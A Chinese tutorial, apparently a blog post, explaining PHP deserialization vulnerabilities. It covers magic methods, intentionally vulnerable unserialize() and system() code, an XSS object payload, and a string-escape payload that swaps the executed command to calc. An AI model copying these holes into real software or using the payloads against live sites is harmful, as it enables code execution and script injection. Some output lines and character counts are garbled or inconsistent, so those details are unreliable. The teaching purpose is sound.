PHP反序列化
基础
主要函数
**serialize()**函数 : 把对象转化为二进制的字符串
**unserialize()**函数 :把对象转化的二进制字符串再转化为对象
示例讲解
<?php
//创建一个类
class User
{
public $name;
public $age;
public function a()
{
echo "Name: $this->name, Age: $this->age \n";
}
}
//创建一个对象
$user = new User();
//设置数据
$user->name = "John";
$user->age = 20;
//输出触发函数a
$user->a();
//输出序列化数据
echo serialize($user);
输出结果
Name: John, Age: 20
O:4:"User":2:
O:4:"User":2:{s:4:"name";s:4:"John";s:3:"age";i:20;},其中O代表对象(Object),4代表对象名(User)长度2表示有两个参数,s-->string 4-->长度
注意:序列化只序列属性,不序列方法
反序列化漏洞
原理
反序列化处的参数用户可控,后台不正当的使用了PHP中的魔法函数。
魔术方法
5个常见魔术方法
__construct:构造函数,当一个对象创建时调用
__destruct:析构函数,当一个对象被销毁时调用
__toString:当一个对象被当作一个字符串时使用
__sleep:在对象序列化的时候调用
__wakeup:对象重新醒来,即由二进制串重新组成一个对象的时候(在一个对象被反序列化时调用)
漏洞简单示例
<?php
class A{
var $test = "test";
function __destruct(){
echo $this->test;
}
}
$a = $_GET['test'];
$b = unserialize($a);
__destruct()在对象被销毁时自动调用,在反序列化过程中,PHP会根据序列化字符串中的类名自动实例化一个对象,并设置其属性,如果将$test属性设置为恶意代码 , 那么当对象销毁时,这段恶意代码就会被输出到页面上

给出利用代码
<?php
class A{
var $test = "<script>alert()</script>";
}
$a = new A;
$b = serialize($a);
echo $b;
字符串逃逸
原理,特点
题目的本质就是改变序列化字符串的长度,导致反序列化漏洞
php序列化后的字符串经过了替换或者修改,导致字符串长度发生变化
先进行序列化,再进行替换修改操作
利用方法
PHP在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),所以"}"后的部分不会被读
例如:O:1:"A":2:{s:1:"a";s:6:"system";s:1:"b";s:4:"clac";}
示例讲解
<?php
class A{
public $a = "aaaaaaaaa";
public $b = "bbbbbbbb";
}
$a = new A;
$b = serialize($a);
echo $b; //O:1:"A":2:{s:1:"a";s:9:"aaaaaaaaa";s:1:"b";s:8:"bbbbbbbb";}
如果我们把序列化结果改成O:1:"A":2:{s:1:"a";s:17:"aaaaaaaaa";s:1:"b";s:8:"bbbbbbbb";}
那么这时a的值就变成了aaaaaaaaa";s:1:"b
如果在题目里对字符串进行了过滤如将 php 替换成了 hack 且是先反序列化再进行替换(未对字符串长度进行修正)那么就会出现字符串逃逸漏洞
O:1:"A":2:{s:1:"a";s:3:"php";s:1:"b";s:8:"bbbbbbbb";}
O:1:"A":2:
注意这时a的值是hac
<?php
error_reporting(0);
highlight_file(__FILE__);
class A{
public $m;
public function __construct($m){
$this->m = $m;
$this->a = "whoami";
}
public function __destruct(){
system($this->a);
}
}
function filter($str)
{
return str_replace("system","AAAAAAA",$str);
}
$b = new A('system');
$c = filter(serialize($b));
echo $c;//O:1:"A":2:{s:1:"m";s:6:"AAAAAAA";s:1:"a";s:6:"whoami";}
这时m的值为AAAAAA(5个A),所以最后一个A成功逃逸 -->所以两个system会导致最后两个字符逃逸出来
把";s:1:"a";s:4:"calc";} (22个字符)放在system后面 要让他们逃逸出来 需要22个system
<?php
error_reporting(0);
highlight_file(__FILE__);
class A{
public $m;
public function __construct($m){
$this->m = $m;
$this->a = "whoami";
}
public function __destruct(){
system($this->a);
}
}
function filter($str)
{
return str_replace("system","AAAAAAA",$str);
}
$b = new A('systemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystem";s:1:"a";s:4:"calc";}');
$c = filter(serialize($b));
unserialize($c); //";s:1:"a";s:4:"calc";}

这时如果题目的m参数我们可控,就可以构造恶意payload

浙公网安备 33010602011771号